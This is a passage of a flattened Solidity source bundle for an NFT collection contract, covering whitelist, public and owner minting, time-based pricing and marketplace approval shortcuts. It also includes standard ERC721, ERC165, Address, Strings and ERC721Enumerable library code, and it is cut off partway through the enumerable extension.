_isRoot(_msgSender()) || _isAdmin(_msgSender()),
"Only root or admin can call this method"
);
_;
}
function changeRoot(address newRoot) external onlyRoot {
_setRoot(newRoot);
}
function changeAdmin(address newAdmin) external onlyRoot {
_setAdmin(newAdmin);
}
/**
* @dev Allows the current root to relinquish control of the contract.
* this done by set both root and admin address to zero.
*/
function renounce() external onlyRoot returns (bool) {
emit Renounced(root(), admin());
_setRoot(address(0));
_setAdmin(address(0));
return true;
}
function whitelistMint(
address to,
uint16 qty,
uint64 nonce,
bool discount,
Sig memory sig
) external payable returns (bool) {
require(qty <= 5, "Max 5 NFTs can be minted at a time");
require(totalSupply + qty <= MAX_SUPPLY, "Total limit reached");
uint256 amount = msg.value;
if (discount) {
require(amount >= qty * DISCOUNT_PRICE, "Not enough amount to pay");
} else {
require(
amount >= qty * _calculatedPrice(),
"Not enough amount to pay"
);
}
require(nonce >= uint64(block.timestamp) / 30, "invalid nonce");
uint16 accountMinted = _mintedByAccounts[to];
require(
accountMinted + qty <= maxMintPerAccount,
"Max mint per account reached"
);
bytes32 message = sigPrefixed(
keccak256(abi.encodePacked(_msgSender(), to, qty, nonce, discount))
);
require(_isSigner(admin(), message, sig), "invalid signature");
uint32 _totalWhitelistMinted = totalWhitelistMinted;
uint16 _totalSupply = totalSupply;
for (uint32 i = 0; i < qty; i++) {
uint256 tokenId = _totalSupply + 1;
_safeMint(to, tokenId);
emit Mint(tokenId, to);
++_totalWhitelistMinted;
++_totalSupply;
}
totalWhitelistMinted = _totalWhitelistMinted;
totalSupply = _totalSupply;
_mintedByAccounts[to] = accountMinted + qty;
return true;
}
function setMaxMintPerAccount(uint16 _maxMintPerAccount)
external
onlyAdminOrRoot
{
maxMintPerAccount = _maxMintPerAccount;
}
function mintedByAccount(address account) external view returns (uint16) {
return _mintedByAccounts[account];
}
function isPublicMintActivated() public view returns (bool) {
return
publicMintStartTime > 0 && block.timestamp >= publicMintStartTime;
}
modifier publicMintActive() {
require(isPublicMintActivated(), "PJF: Public mint not open yet");
_;
}
function setPublicMintTime(uint256 _startTime)
external
onlyAdminOrRoot
returns (bool)
{
publicMintStartTime = _startTime;
return true;
}
function publicMint(address to, uint32 qty)
external
payable
publicMintActive
returns (bool)
{
uint256 amount = msg.value;
require(qty <= 5, "Max 5 NFTs can be minted at a time");
require(totalSupply + qty <= MAX_SUPPLY, "Max supply reached");
require(qty > 0, "Min qty is 1");
require(amount >= qty * _calculatedPrice(), "Not enough amount to pay");
require(tx.origin == _msgSender(), "Contracts not allowed");
uint16 _totalSupply = totalSupply;
for (uint32 i = 0; i < qty; i++) {
uint256 tokenId = _totalSupply + 1;
_safeMint(to, tokenId);
emit Mint(tokenId, to);
++_totalSupply;
}
totalSupply = _totalSupply;
return true;
}
function exclusiveMint(address to, uint32 qty)
external
onlyRoot
returns (bool)
{
require(totalSupply + qty <= MAX_SUPPLY, "Max supply reached");
require(qty > 0, "Min qty is 1");
uint16 _totalSupply = totalSupply;
for (uint32 i = 0; i < qty; i++) {
uint256 tokenId = _totalSupply + 1;
_safeMint(to, tokenId);
emit Mint(tokenId, to);
++_totalSupply;
}
totalSupply = _totalSupply;
return true;
}
function _calculatedPrice() internal view returns (uint256) {
// Gunakan harga dasar sebelum 2 Mei 2022
if (block.timestamp < 1651363200) {
return NORMAL_PRICE_BASE;
}
// Setelah tanggal 1 Mei, harga akan naik 0.005 ETH per hari
return
NORMAL_PRICE_BASE +
((((1 * 10**16) * (block.timestamp - 1651363200)) / 86400) /
10**16) *
10**16;
}
function getPrice() public view returns (uint256) {
return _calculatedPrice();
}
function withdrawAll() external onlyRoot {
require(address(this).balance > 0, "No amount to withdraw");
payable(_msgSender()).transfer(address(this).balance);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyRoot {
baseTokenURI = baseURI;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
}
/**
* @dev Whitelist OpenSea or LooksRare to enable gas-less listings,
* so users don't need to pay additional gas for listing on those platforms.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
if (approveOpenSea) {
ProxyRegistry proxyRegistry = ProxyRegistry(openSeaProxyAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
}
if (approveLooksRare) {
if (looksRareAddress == operator) {
return true;
}
}
return super.isApprovedForAll(owner, operator);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "ERC721.sol";
import "IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
